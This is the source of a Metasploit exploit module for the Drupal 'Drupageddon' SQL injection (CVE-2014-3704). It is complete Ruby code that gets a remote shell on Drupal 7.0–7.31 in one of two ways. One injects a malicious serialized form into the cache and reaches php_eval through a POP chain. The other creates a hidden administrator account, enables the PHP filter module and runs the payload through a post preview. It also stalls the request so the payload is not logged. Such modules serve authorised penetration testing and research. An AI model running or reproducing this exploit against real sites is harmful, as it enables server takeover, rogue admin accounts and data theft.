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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Drupal HTTP Parameter Key/Value SQL Injection',
'Description' => %q{
This module exploits the Drupal HTTP Parameter Key/Value SQL Injection
(aka Drupageddon) in order to achieve a remote shell on the vulnerable
instance. This module was tested against Drupal 7.0 and 7.31 (was fixed
in 7.32).
Two methods are available to trigger the PHP payload on the target:
- set TARGET 0:
Form-cache PHP injection method (default).
This uses the SQLi to upload a malicious form to Drupal's cache,
then trigger the cache entry to execute the payload using a POP chain.
- set TARGET 1:
User-post injection method.
This creates a new Drupal user, adds it to the administrators group,
enable Drupal's PHP module, grant the administrators the right to
bundle PHP code in their post, create a new post containing the
payload and preview it to trigger the payload execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'SektionEins', # discovery
'WhiteWinterWolf', # form-cache PHP injection method
'Christian Mehlmauer', # user-post PHP injection method
'Brandon Perry' # user-post PHP injection method
],
'References' =>
[
['CVE', '2014-3704'],
['URL', 'https://www.drupal.org/SA-CORE-2014-005'],
['URL', 'http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html'],
['URL', 'https://www.whitewinterwolf.com/posts/2017/11/16/drupageddon-revisited-a-new-path-from-sql-injection-to-remote-command-execution-cve-2014-3704/']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Drupal 7.0 - 7.31 (form-cache PHP injection method)', {}],
['Drupal 7.0 - 7.31 (user-post PHP injection method)', {}]
],
'DisclosureDate' => 'Oct 15 2014',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/'])
])
register_advanced_options(
[
OptInt.new('Wait', [true, "Number of seconds to wait before triggering the payload sent (form-cache method only).", 5]),
OptString.new('ADMIN_ROLE', [ true, "The administrator role (user-post method only)", 'administrator']),
OptInt.new('Iter', [ true, "Hash iterations (2^ITER, user-post method only))", 10])
])
end
##
# Form-cache PHP injection method
##
def sql_insert(id, value)
curlyopen = rand_text_alphanumeric(8)
curlyclose = rand_text_alphanumeric(8)
value.gsub!('{', curlyopen)
value.gsub!('}', curlyclose)
"INSERT INTO {cache_form} (cid, data, expire, created, serialized) " \
+ "VALUES ('#{id}', REPLACE(REPLACE('#{value}', '#{curlyopen}', " \
+ "CHAR(#{'{'.ord})), '#{curlyclose}', CHAR(#{'}'.ord})), -1, 0, 1);"
end
def exploit_formcache
form_build_id = 'form-' + rand_text_alphanumeric(43)
# Remove the malicious cache entries upon success.
evalstr = "cache_clear_all(array('form_" + form_build_id + "', " \
+ "'form_state_" + form_build_id + "'), 'cache_form');"
evalstr << payload.encoded
evalstr = Rex::Text.encode_base64(evalstr)
# '<?php' tag required by php_eval().
evalstr = "<?php eval(base64_decode(\\'#{evalstr}\\'));"
# Don't count the backslashes.
evalstr_len = evalstr.length - 2
# Serialized malicious form state.
# The PHP module may be disabled (and should be).
# Load its definition manually to get access to php_eval().
state = 'a:1:{s:10:"build_info";a:1:{s:5:"files";a:1:{'
state << 'i:0;s:22:"modules/php/php.module";'
state << '}}}'
# Initiates a POP chain in includes/form.inc:1850, form_builder()
form = 'a:6:{'
form << 's:5:"#type";s:4:"form";'
form << 's:8:"#parents";a:1:{i:0;s:4:"user";}'
form << 's:8:"#process";a:1:{i:0;s:13:"drupal_render";}'
form << 's:16:"#defaults_loaded";b:1;'
form << 's:12:"#post_render";a:1:{i:0;s:8:"php_eval";}'
form << 's:9:"#children";s:' + evalstr_len.to_s + ':"' + evalstr + '";'
form << '}'
# SQL injection key lines:
# - modules/user/user.module:2149, user_login_authenticate_validate()
# - includes/database/database.inc:745, expandArguments()
sql = sql_insert('form_state_' + form_build_id, state)
sql << sql_insert('form_' + form_build_id, form)
# Causes PHP script to timeout, avoiding payload logging.
sql << 'SELECT SLEEP(666);'
# Use the login form to inject the malicious cache entry.
# '!' follows redirects, used by some Drupal sites to enforce clean URLs.
# Don't check the return code as it *will* timeout.
send_request_cgi!({
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'vars_post' => {
# Don't use 'user_login_block' as it may be disabled.
'form_id' => 'user_login',
'form_build_id' => '',
"name[0;#{sql}#]" => '',
# This field must be located *after* the injection.
"name[0]" => '',
'op' => 'Log in',
'pass' => Rex::Text.rand_text_alpha(8)
},
'vars_get' => {
'q' => 'user/login'
}
}, timeout=datastore['Wait'])
# Trigger the malicious cache entry using its form ID.
send_request_cgi!({
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'vars_post' => {
'form_id' => 'user_login',
"form_build_id" => form_build_id,
"name" => Rex::Text.rand_text_alpha(10),
'op' => 'Log in',
'pass' => Rex::Text.rand_text_alpha(10)
},
'vars_get' => {
'q' => 'user/login'
}
})
end
##
# User-post PHP injection method
##
def uri_path
normalize_uri(target_uri.path)
end
def admin_role
datastore['ADMIN_ROLE']
end
def iter
datastore['Iter']
end
def itoa64
'./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
end
# PHPs PHPASS base64 method
def phpass_encode64(input, count)
out = ''
cur = 0
while cur < count
value = input[cur].ord
cur += 1
out << itoa64[value & 0x3f]
if cur < count
value |= input[cur].ord << 8
end
out << itoa64[(value >> 6) & 0x3f]
break if cur >= count
cur += 1
if cur < count
value |= input[cur].ord << 16
end
out << itoa64[(value >> 12) & 0x3f]
break if cur >= count
cur += 1
out << itoa64[(value >> 18) & 0x3f]
end
out
end
def generate_password_hash(pass)
# Syntax for MD5:
# $P$ = MD5
# one char representing the hash iterations (min 7)
# 8 chars salt
# MD5_raw(salt.pass) + iterations
# MD5 phpass base64 encoded (!= encode_base64) and trimmed to 22 chars for md5
iter_char = itoa64[iter]
salt = Rex::Text.rand_text_alpha(8)
md5 = Rex::Text.md5_raw("#{salt}#{pass}")
# convert iter from log2 to integer
iter_count = 2**iter
1.upto(iter_count) {
md5 = Rex::Text.md5_raw("#{md5}#{pass}")
}
md5_base64 = phpass_encode64(md5, md5.length)
md5_stripped = md5_base64[0...22]
pass = "$P\\$" + iter_char + salt + md5_stripped
vprint_status("password hash: #{pass}")
return pass
end
def sql_insert_user(user, pass)
"insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{generate_password_hash(pass)}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users"
end
def sql_make_user_admin(user)
"insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'))"
end
def extract_form_ids(content)
form_build_id = $1 if content =~ /name="form_build_id" value="(.+?)"/
form_token = $1 if content =~ /name="form_token" value="(.+?)"/
vprint_status("form_build_id: #{form_build_id}")
vprint_status("form_token: #{form_token}")
return form_build_id, form_token
end
def exploit_newuser
# TODO: Check if option admin_role exists via admin/people/permissions/roles
# call login page to extract tokens
print_status("Testing page")
res = send_request_cgi({
'uri' => uri_path,
'vars_get' => {
'q' => 'user/login'
}
})
unless res and res.body
fail_with(Failure::Unknown, "No response or response body, bailing.")
end
form_build_id, form_token = extract_form_ids(res.body)
user = Rex::Text.rand_text_alpha(10)
pass = Rex::Text.rand_text_alpha(10)
post = {
"name[0 ;#{sql_insert_user(user, pass)}; #{sql_make_user_admin(user)}; # ]" => Rex::Text.rand_text_alpha(10),
'name[0]' => Rex::Text.rand_text_alpha(10),
'pass' => Rex::Text.rand_text_alpha(10),
'form_build_id' => form_build_id,
'form_id' => 'user_login',
'op' => 'Log in'
}
print_status("Creating new user #{user}:#{pass}")
res = send_request_cgi({
'uri' => uri_path,
'method' => 'POST',
'vars_post' => post,
'vars_get' => {
'q' => 'user/login'
}
})
unless res and res.body
fail_with(Failure::Unknown, "No response or response body, bailing.")
end
# login
print_status("Logging in as #{user}:#{pass}")
res = send_request_cgi({
'uri' => uri_path,
'method' => 'POST',
'vars_post' => {
'name' => user,
'pass' => pass,
'form_build_id' => form_build_id,
'form_id' => 'user_login',
'op' => 'Log in'
},
'vars_get' => {
'q' => 'user/login'
}
})
unless res and res.code == 302
fail_with(Failure::Unknown, "No response or response body, bailing.")
end
cookie = res.get_cookies
vprint_status("cookie: #{cookie}")
# call admin interface to extract CSRF token and enabled modules
print_status("Trying to parse enabled modules")
res = send_request_cgi({
'uri' => uri_path,
'vars_get' => {
'q' => 'admin/modules'
},
'cookie' => cookie
})
form_build_id, form_token = extract_form_ids(res.body)
enabled_module_regex = /name="(.+)" value="1" checked="checked" class="form-checkbox"/
enabled_matches = res.body.to_enum(:scan, enabled_module_regex).map { Regexp.last_match }
unless enabled_matches
fail_with(Failure::Unknown, "No modules enabled is incorrect, bailing.")
end
post = {
'modules[Core][php][enable]' => '1',
'form_build_id' => form_build_id,
'form_token' => form_token,
'form_id' => 'system_modules',
'op' => 'Save configuration'
}
enabled_matches.each do |match|
post[match.captures[0]] = '1'
end
# enable PHP filter
print_status("Enabling the PHP filter module")
res = send_request_cgi({
'uri' => uri_path,
'method' => 'POST',
'vars_post' => post,
'vars_get' => {
'q' => 'admin/modules/list/confirm'
},
'cookie' => cookie
})
unless res and res.body
fail_with(Failure::Unknown, "No response or response body, bailing.")
end
# Response: http 302, Location: http://10.211.55.50/?q=admin/modules
print_status("Setting permissions for PHP filter module")
# allow admin to use php_code
res = send_request_cgi({
'uri' => uri_path,
'vars_get' => {
'q' => 'admin/people/permissions'
},
'cookie' => cookie
})
unless res and res.body
fail_with(Failure::Unknown, "No response or response body, bailing.")
end
form_build_id, form_token = extract_form_ids(res.body)
perm_regex = /name="(.*)" value="(.*)" checked="checked"/
enabled_perms = res.body.to_enum(:scan, perm_regex).map { Regexp.last_match }
unless enabled_perms
fail_with(Failure::Unknown, "No enabled permissions were able to be parsed, bailing.")
end
# get administrator role id
id = $1 if res.body =~ /for="edit-([0-9]+)-administer-content-types">#{admin_role}:/
vprint_status("admin role id: #{id}")
unless id
fail_with(Failure::Unknown, "Could not parse out administrator ID")
end
post = {
"#{id}[use text format php_code]" => 'use text format php_code',
'form_build_id' => form_build_id,
'form_token' => form_token,
'form_id' => 'user_admin_permissions',
'op' => 'Save permissions'
}
enabled_perms.each do |match|
post[match.captures[0]] = match.captures[1]
end
res = send_request_cgi({
'uri' => uri_path,
'method' => 'POST',
'vars_post' => post,
'vars_get' => {
'q' => 'admin/people/permissions'
},
'cookie' => cookie
})
unless res and res.body
fail_with(Failure::Unknown, "No response or response body, bailing.")
end
# Add new Content page (extract csrf token)
print_status("Getting tokens from create new article page")
res = send_request_cgi({
'uri' => uri_path,
'vars_get' => {
'q' => 'node/add/article'
},
'cookie' => cookie
})
unless res and res.body
fail_with(Failure::Unknown, "No response or response body, bailing.")
end
form_build_id, form_token = extract_form_ids(res.body)
# Preview to trigger the payload
data = Rex::MIME::Message.new
data.add_part(Rex::Text.rand_text_alpha(10), nil, nil, 'form-data; name="title"')
data.add_part(form_build_id, nil, nil, 'form-data; name="form_build_id"')
data.add_part(form_token, nil, nil, 'form-data; name="form_token"')
data.add_part('article_node_form', nil, nil, 'form-data; name="form_id"')
data.add_part('php_code', nil, nil, 'form-data; name="body[und][0][format]"')
data.add_part("<?php #{payload.encoded} ?>", nil, nil, 'form-data; name="body[und][0][value]"')
data.add_part('Preview', nil, nil, 'form-data; name="op"')
data.add_part(user, nil, nil, 'form-data; name="name"')
data.add_part('1', nil, nil, 'form-data; name="status"')
data.add_part('1', nil, nil, 'form-data; name="promote"')
post_data = data.to_s
print_status("Calling preview page. Exploit should trigger...")
send_request_cgi(
'method' => 'POST',
'uri' => uri_path,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'vars_get' => {
'q' => 'node/add/article'
},
'cookie' => cookie
)
end
##
# Main
##
def exploit
case datastore['TARGET']
when 0
exploit_formcache
when 1
exploit_newuser
else
fail_with(Failure::BadConfig, "Invalid target selected.")
end
end
end